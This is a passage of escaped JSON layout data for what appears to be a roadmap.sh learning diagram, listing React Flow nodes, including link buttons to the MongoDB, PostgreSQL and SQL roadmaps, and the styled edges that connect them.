49,\n      \"style\": {\n        \"width\": 286,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -773.4644850173872,\n        \"y\": 3851.6036656653055\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 286,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 410,\n      \"height\": 119,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -342.0466059451501,\n        \"y\": 3709.8659221702487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Continue Learning with following relevant tracks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -342.0466059451501,\n        \"y\": 3709.8659221702487\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 410,\n        \"height\": 119\n      }\n    },\n    {\n      \"width\": 133,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -328.0328034608642,\n        \"y\": 3764.0115796033583\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MongoDB\",\n        \"href\": \"https://roadmap.sh/mongodb\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -328.0328034608642,\n        \"y\": 3764.0115796033583\n      },\n      \"style\": {\n        \"width\": 133,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 141,\n      \"height\": 49,\n      \"id\": \"qXKNK_IsGS8-JgLK-Q9oU\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -191.4785882138204,\n        \"y\": 3764.0115796033583\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PostgreSQL\",\n        \"href\": \"https://roadmap.sh/postgresql-dba\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"U309TNZ3yUYyAmP33dOt1\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -191.4785882138204,\n        \"y\": 3764.0115796033583\n      },\n      \"style\": {\n        \"width\": 141,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 141,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 85,\n      \"id\": \"RLtk1C3gofHnLJ17x3o5b\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -149.11049657354835,\n        \"y\": 3832.8659221702487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"ExXFPDHXtcOMcvZttzxvD\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -149.11049657354835,\n        \"y\": 3832.8659221702487\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 85\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 85\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"-sFboM4eFUMVq1tlPl-fV\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -47.00281520804924,\n        \"y\": 3764.0115796033583\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SQL\",\n        \"href\": \"https://roadmap.sh/sql\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"qXKNK_IsGS8-JgLK-Q9oU\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -47.00281520804924,\n        \"y\": 3764.0115796033583\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3oInpqvTSSC5_K6i7j8N7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"HNVw8OboycWKLEtEbG2bn\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"auB7Png72XjmhcLr3IJA7\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"2aoDIr80lXSJLW1hIGUkb\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NMznG9mo2wzNFnjhg990f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-_y7nLeYFkUKGiacxWA0\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gc_7cuIO2_joKlQRAPDfX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"G7pXuJfkyt2nWAOHU8yV0\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rrrvATyhXqRgJGWI3z0WF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2_6Yz3-Agx9_rEN5xW86c\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"1AJv95mTLpR7L8KBoGym8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kgMI98fg2-mKMgUs0wnjD\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0etAs56EeBfh_0IlAaSra\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"ts38Q2ceHs60TJscUBZVE\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h6ceO0kiBIxNRkPzN3hBY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ZiMV7umyPdhy3JJDcopR-\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_JlT9oKQ6Yu4UX6l19G8P\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"WI-MhbxrehFcVwyGJ5CQJ\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"qUrLBzvXvJOg53HBfjrOI\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"L191VgfCbX3ibSIKySpsN\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"pa2QJLhAv3SPRK_2XcMZx\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-L191VgfCbX3ibSIKySpsNx2-pa2QJLhAv3SPRK_2XcMZxw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pa2QJLhAv3SPRK_2XcMZx\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"-3pADOHMDQ0H6ZKNjURyn\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-pa2QJLhAv3SPRK_2XcMZxx2--3pADOHMDQ0H6ZKNjURynw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"L191VgfCbX3ibSIKySpsN\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"-3pADOHMDQ0H6ZKNjURyn\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-L191VgfCbX3ibSIKySpsNx2--3pADOHMDQ0H6ZKNjURynw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-3pADOHMDQ0H6ZKNjURyn\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"gw04IG5uImCHxcFnOAAwy\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge--3pADOHMDQ0H6ZKNjURynx2-gw04IG5uImCHxcFnOAAwyw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-3pADOHMDQ0H6ZKNjURyn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"QXwoHEeisL4d6dpJOwYkU\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge--3pADOHMDQ0H6ZKNjURynz2-QXwoHEeisL4d6dpJOwYkUy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gw04IG5uImCHxcFnOAAwy\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zxoi09oW1HbXNwvc14w9U\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-gw04IG5uImCHxcFnOAAwyx2-zxoi09oW1HbXNwvc14w9Uw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"80UujPXPhvKIJMSM67pwl\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GjKw6hbNV57I2sxuLfkQw\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-80UujPXPhvKIJMSM67pwlx2-GjKw6hbNV57I2sxuLfkQww1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Wl23Jh-ASJOQ850yjaTIU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Ljjl_kSEevtaBALxRh2By\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Wl23Jh-ASJOQ850yjaTIUz2-Ljjl_kSEevtaBALxRh2Byy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4-C4XqACUp4nvcMIj6djF\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Qgkpr9vf9d6-vUg1o8XFj\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"type\": \"simplebezier\",\n      \"id\": \"reactflow__edge-4-C4XqACUp4nvcMIj6djFz2-wY46Qj5Inw_ClBNI9PB_2y2\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Qgkpr9vf9d6-vUg1o8XFj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"u2TdoI7ILaxYgUUni9W_w\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wY46Qj5Inw_ClBNI9PB_2x2-u2TdoI7ILaxYgUUni9W_ww1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Qgkpr9vf9d6-vUg1o8XFj\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"wY46Qj5Inw_ClBNI9PB_2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Qgkpr9vf9d6-vUg1o8XFjw2-wY46Qj5Inw_ClBNI9PB_2y1\",\n      \"selected\": true,\n      \"type\": \"simplebezier\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wY46Qj5Inw_ClBNI9PB_2\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"QTbkWZ7BpqYmBhUivccPu\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-wY46Qj5Inw_ClBNI9PB_2x2-QTbkWZ7BpqYmBhUivccPuw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"QTbkWZ7BpqYmBhUivccPu\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"8gyVwKg3Ctt2w15X7xZgC\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-QTbkWZ7BpqYmBhUivccPux2-8gyVwKg3Ctt2w15X7xZgCw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8gyVwKg3Ctt2w15X7xZgC\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Kjkc8rNezN_LBD5WMrBbE\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-8gyVwKg3Ctt2w15X7xZgCx2-Kjkc8rNezN_LBD5WMrBbEw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Kjkc8rNezN_LBD5WMrBbE\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"jrgaoDnt_RxTu79hk4hCD\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Kjkc8rNezN_LBD5WMrBbEz2-jrgaoDnt_RxTu79hk4hCDy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jrgaoDnt_RxTu79hk4hCD\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"LHlwjN3WHYUBUafzzwsWQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-jrgaoDnt_RxTu79hk4hCDx2-LHlwjN3WHYUBUafzzwsWQw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LHlwjN3WHYUBUafzzwsWQ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"7JzeyTrkZ_1_yxMVrqvZU\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-LHlwjN3WHYUBUafzzwsWQx2-7JzeyTrkZ_1_yxMVrqvZUw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7JzeyTrkZ_1_yxMVrqvZU\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"45ihdIfRW-jI38h-s4Vdc\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-7JzeyTrkZ_1_yxMVrqvZUy2-45ihdIfRW-jI38h-s4Vdcz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"45ihdIfRW-jI38h-s4Vdc\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0Q3AkE8leWAyYsww3-BHX\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-45ihdIfRW-jI38h-s4Vdcy2-cszjT3YK8oyhGpqLTQzwXz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0Q3AkE8leWAyYsww3-BHX\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"CxiHaw63xmItCGdhpcsiz\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-cszjT3YK8oyhGpqLTQzwXy2-CxiHaw63xmItCGdhpcsizz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0Q3AkE8leWAyYsww3-BHX\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"cszjT3YK8oyhGpqLTQzwX\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-0Q3AkE8leWAyYsww3-BHXx2-cszjT3YK8oyhGpqLTQzwXw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ifAV_64bREZrJkxFnf7Cy\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"cszjT3YK8oyhGpqLTQzwX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ifAV_64bREZrJkxFnf7Cyz2-cszjT3YK8oyhGpqLTQzwXy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cszjT3YK8oyhGpqLTQzwX\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zXs_9n2yEb_eVi0WuOQKH\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-cszjT3YK8oyhGpqLTQzwXx2-zXs_9n2yEb_eVi0WuOQKHy1\",\n      \"selected\": true,\n      \"type\": \"step\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zXs_9n2yEb_eVi0WuOQKH\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"S16vO5EHvxaylsnFzs4Kx\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-zXs_9n2yEb_eVi0WuOQKHw2-S16vO5EHvxaylsnFzs4Kxx1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zXs_9n2yEb_eVi0WuOQKH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_NiUdVQ85qnvryI38k_vQ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": 